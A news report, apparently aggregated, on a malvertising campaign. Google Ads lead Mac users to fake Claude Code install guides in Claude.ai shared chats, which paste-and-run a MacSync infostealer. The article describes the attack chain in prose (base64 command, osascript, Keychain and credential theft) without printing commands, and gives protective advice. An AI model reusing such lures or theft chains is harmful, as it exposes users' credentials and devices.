Hackers exploit Google Ads and Claude.ai shared chats to spread Mac malware

Hackers Abuse Google Ads to Target Mac Users

A sophisticated cybercrime campaign targeting Mac users has emerged, exploiting both Google Ads and Claude.ai's legitimate features to distribute Mac malware. Security engineer Berk Albayrak from Trendyol Group first identified the threat, revealing that users searching for "Claude mac download" encounter sponsored search results that appear to link to claude.ai but actually lead to malicious instructions 1

1

. What makes this attack particularly deceptive is that the Google Ads genuinely point to Anthropic's real domain, since attackers are hosting their malicious content inside Claude's Shared Chats feature 2

2

.

Claude's Shared Chats Feature Weaponized for Malware Distribution

The attackers created fraudulent conversations within Claude.ai that present themselves as official "Claude Code on Mac" installation guides, often attributed to "Apple Support" to increase legitimacy 1

1

. These shared chats walk users through opening Terminal and pasting commands that silently download and execute infostealing malware on their devices. BleepingComputer identified a second shared Claude chat carrying out the same attack through entirely separate infrastructure, indicating the campaign's scope extends beyond a single operation 1

1

. The malware hiding in Google search ads operates as an in-memory threat, running entirely in memory and leaving little obvious trace on disk, making detection and removal significantly more challenging 3

3

.

How the Infostealer Operates and Targets Victims

The base64 instructions shown in the shared Claude chat download an encoded shell script that runs through osascript, macOS's built-in scripting engine, giving attackers remote code execution without dropping a traditional application or binary 1

1

. Before proceeding with payload delivery, one variant checks whether the machine has Russian or CIS-region keyboard input sources configured, exiting without action if detected and sending a "cis_blocked" status ping to the attacker's server 1

1

. The script collects the victim's external IP address, hostname, OS version, and keyboard locale, sending all data back to the attacker before delivering the next stage. This victim profiling suggests operators are selective about their targets 1

1

. The infostealer harvests browser credentials, cookies, and macOS Keychain contents, packages them up, and exfiltrates everything to the attacker's server, identified as a variant of the MacSync macOS infostealer 1

1

.

Why Malicious Ads Pose Growing Security Risks

This cyber threat represents a troubling evolution in malvertising tactics. Unlike previous campaigns where convincing Google Ads would list legitimate-looking domains but redirect visitors to lookalike phishing sites, this campaign flips that approach entirely 1

1

. There is no fake domain to spot, as both Google Ads point to Anthropic's authentic domain. The destination URL in the sponsored search results is genuine, making it nearly impossible for average users to distinguish malicious from legitimate advertisements 2

2

. This isn't the first time attackers have abused AI platform shared chats this way—in December, BleepingComputer reported a similar campaign targeting ChatGPT and Grok users 1

1

. Online advertisements have become a hotbed for distributing harmful software because advertising platforms offer attackers easy visibility and user trust 3

3

.

Protecting Against Terminal Commands and Sponsored Results

Users should navigate directly to official sources rather than clicking sponsored search results when downloading software 1

1

. The legitimate Claude Code CLI is available through Anthropic's official documentation and does not require pasting Terminal commands from a chat interface. Security experts recommend treating any instructions asking users to paste commands with extreme caution, regardless of where those instructions appear to originate 1

1

. Implementing ad blockers can provide an additional layer of protection, as many browser extensions allow users to block malicious ads while allowlisting trusted sites 3

3

. Some browsers like Opera even come with built-in ad blocking systems 3

3

. As this campaign demonstrates the stealthy nature of in-memory malware and bypassing detection mechanisms, Mac users must remain vigilant about verifying installation instructions and avoiding unfamiliar commands that could compromise their devices and expose personal data 4

4

.